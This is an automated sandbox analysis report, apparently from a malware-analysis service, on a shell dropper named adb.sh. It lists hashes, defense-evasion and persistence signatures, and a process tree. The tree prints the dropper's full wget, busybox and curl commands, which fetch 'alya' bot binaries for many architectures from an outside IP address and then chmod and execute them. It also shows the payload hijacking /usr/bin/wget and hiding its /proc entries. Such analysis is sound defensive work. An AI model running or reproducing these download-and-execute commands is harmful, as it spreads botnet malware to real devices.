59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample261003-w4mncsvz3j
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
890	chmod
904	chmod
1026	chmod
1064	chmod
1075	chmod
1112	chmod
831	chmod
953	chmod
1037	chmod
1049	chmod
1054	chmod
1093	chmod
1123	chmod
910	chmod
1018	chmod
1032	chmod
1059	chmod
1099	chmod
775	chmod
854	chmod
958	chmod
998	chmod
1004	chmod
1087	chmod
1129	chmod
837	chmod
844	chmod
963	chmod
968	chmod
1069	chmod
1118	chmod
810	chmod
849	chmod
896	chmod
978	chmod
1010	chmod
860	chmod
872	chmod
973	chmod
1043	chmod
1082	chmod
1106	chmod
866	chmod
878	chmod
884	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/alya.arc	777	adb.sh
/tmp/alya.arc	812	adb.sh
/tmp/alya.arc	832	adb.sh
/usr/bin/wget	962	adb.sh
/usr/bin/wget	977	adb.sh
/usr/bin/wget	1009	adb.sh
/usr/bin/wget	1031	adb.sh
/usr/bin/wget	1048	adb.sh
/usr/bin/wget	1063	adb.sh
/usr/bin/wget	1081	adb.sh
/usr/bin/wget	1098	adb.sh
/usr/bin/wget	1117	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.armv4l
File opened for modification	/dev/misc/watchdog	alya.armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	920	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	938	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	983	alya.armv4l

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/6/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/26/cmdline	alya.armv4l
File opened for reading	/proc/590/cmdline	alya.armv4l
File opened for reading	/proc/1086/cmdline	alya.armv4l
File opened for reading	/proc/1152/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/43/cmdline	alya.armv4l
File opened for reading	/proc/1014/cmdline	alya.armv4l
File opened for reading	/proc/1122/cmdline	alya.armv4l
File opened for reading	/proc/1/cmdline	alya.armv4l
File opened for reading	/proc/110/cmdline	alya.armv4l
File opened for reading	/proc/312/cmdline	alya.armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/982/cmdline	alya.armv4l
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/99/cmdline	alya.armv4l
File opened for reading	/proc/282/cmdline	alya.armv4l
File opened for reading	/proc/972/cmdline	alya.armv4l
File opened for reading	/proc/1103/cmdline	alya.armv4l
File opened for reading	/proc/1142/cmdline	alya.armv4l
File opened for reading	/proc/1/stat	cp
File opened for reading	/proc/22/cmdline	alya.armv4l
File opened for reading	/proc/169/cmdline	alya.armv4l
File opened for reading	/proc/259/cmdline	alya.armv4l
File opened for reading	/proc/325/cmdline	alya.armv4l
File opened for reading	/proc/579/cmdline	alya.armv4l
File opened for reading	/proc/643/cmdline	alya.armv4l
File opened for reading	/proc/1042/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/18/cmdline	alya.armv4l
File opened for reading	/proc/138/cmdline	alya.armv4l
File opened for reading	/proc/644/cmdline	alya.armv4l
File opened for reading	/proc/645/cmdline	alya.armv4l
File opened for reading	/proc/1101/cmdline	alya.armv4l
File opened for reading	/proc/mounts	adb.sh
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/8/cmdline	alya.armv4l
File opened for reading	/proc/11/cmdline	alya.armv4l
File opened for reading	/proc/582/cmdline	alya.armv4l
File opened for reading	/proc/10/cmdline	alya.armv4l
File opened for reading	/proc/23/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1150/cmdline	alya.armv4l
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/9/cmdline	alya.armv4l
File opened for reading	/proc/27/cmdline	alya.armv4l
File opened for reading	/proc/160/cmdline	alya.armv4l
File opened for reading	/proc/1035/cmdline	alya.armv4l
File opened for reading	/proc/1144/cmdline	alya.armv4l
File opened for reading	/proc/107/cmdline	alya.armv4l
File opened for reading	/proc/309/cmdline	alya.armv4l
File opened for reading	/proc/1047/cmdline	alya.armv4l

System Network Configuration Discovery 1 TTPs 24 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
870	rm
871	wget
882	rm
883	curl
885	alya.mips
1011	alya.mipsel
1014	busybox
1023	rm
875	rm
876	rm
877	busybox
879	alya.mips
881	rm
1012	rm
1013	rm
1020	alya.mipsel
887	rm
1022	rm
1024	curl
1027	alya.mipsel
1029	rm
873	alya.mips
1008	rm
1009	wget

Writes file to tmp directory 48 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/alya.armv4l	wget
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/alya.sh4	wget
File opened for modification	/tmp/alya.armv4l	curl
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/alya.sh4	busybox
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/alya.armv5l	curl
File opened for modification	/tmp/alya.m68k	busybox
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/alya.mips	wget
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.i686	curl

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:646
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:659
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:663
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:666
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:669
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:670
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:671
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:673
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:675
- /bin/readlink
  readlink /proc/135/exe
  2⤵
  PID:676
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:677
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:679
- /bin/readlink
  readlink /proc/149/exe
  2⤵
  PID:681
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:683
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:684
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:685
- /bin/readlink
  readlink /proc/169/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:688
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:689
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:690
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:693
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/222/exe
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/259/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:702
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/282/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/284/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/300/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/307/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/309/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/312/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/323/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/582/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/590/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/591/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/637/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/639/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/643/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/649/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/652/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/653/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/657/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/99/exe
  2⤵
  PID:741
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:742
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:777
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:779
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:781
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:812
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:814
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:832
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:834
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:835
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:838
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:839
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:840
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:845
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:846
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:850
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:851
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:852
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:855
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:857
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:858
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:861
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:863
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:867
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:869
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:887
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:888
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:891
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:893
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:894
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:897
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:899
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:901
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:905
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:907
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:908
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:909
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:911
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:912
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:913
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      Reads runtime system information
      PID:914
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:915
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:916
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.armv4l /usr/bin/wget"
    3⤵
    PID:917
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:918
  - - /bin/cp
      cp /tmp/alya.armv4l /usr/bin/wget
      4⤵
      Write file to user bin folder
      PID:919
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:922
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:923
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:925
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:927
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:928
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:929
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:930
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:931
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:932
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:933
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:934
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:935
- - /bin/sh
    sh -c "mount --bind /tmp /proc/920"
    3⤵
    PID:936
  - - /bin/mount
      mount --bind /tmp /proc/920
      4⤵
      PID:937
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:939
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:940
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:941
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:942
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:943
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:944
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:945
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:946
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:947
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:948
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:949
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:950
- - /bin/sh
    sh -c "mount --bind /tmp /proc/938"
    3⤵
    PID:951
  - - /bin/mount
      mount --bind /tmp /proc/938
      4⤵
      PID:952
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:984
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:985
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:986
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:987
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:988
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:989
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:990
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:991
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:992
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:993
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:994
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:995
- - /bin/sh
    sh -c "mount --bind /tmp /proc/983"
    3⤵
    PID:996
  - - /bin/mount
      mount --bind /tmp /proc/983
      4⤵
      PID:997
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:921
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:924
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:926
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:954
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:955
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:957
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:959
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:960
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:961
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  PID:962
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:964
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:965
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:966
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:967
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:969
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:970
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:972
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:974
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:975
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:976
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  PID:977
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:979
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:980
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:981
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
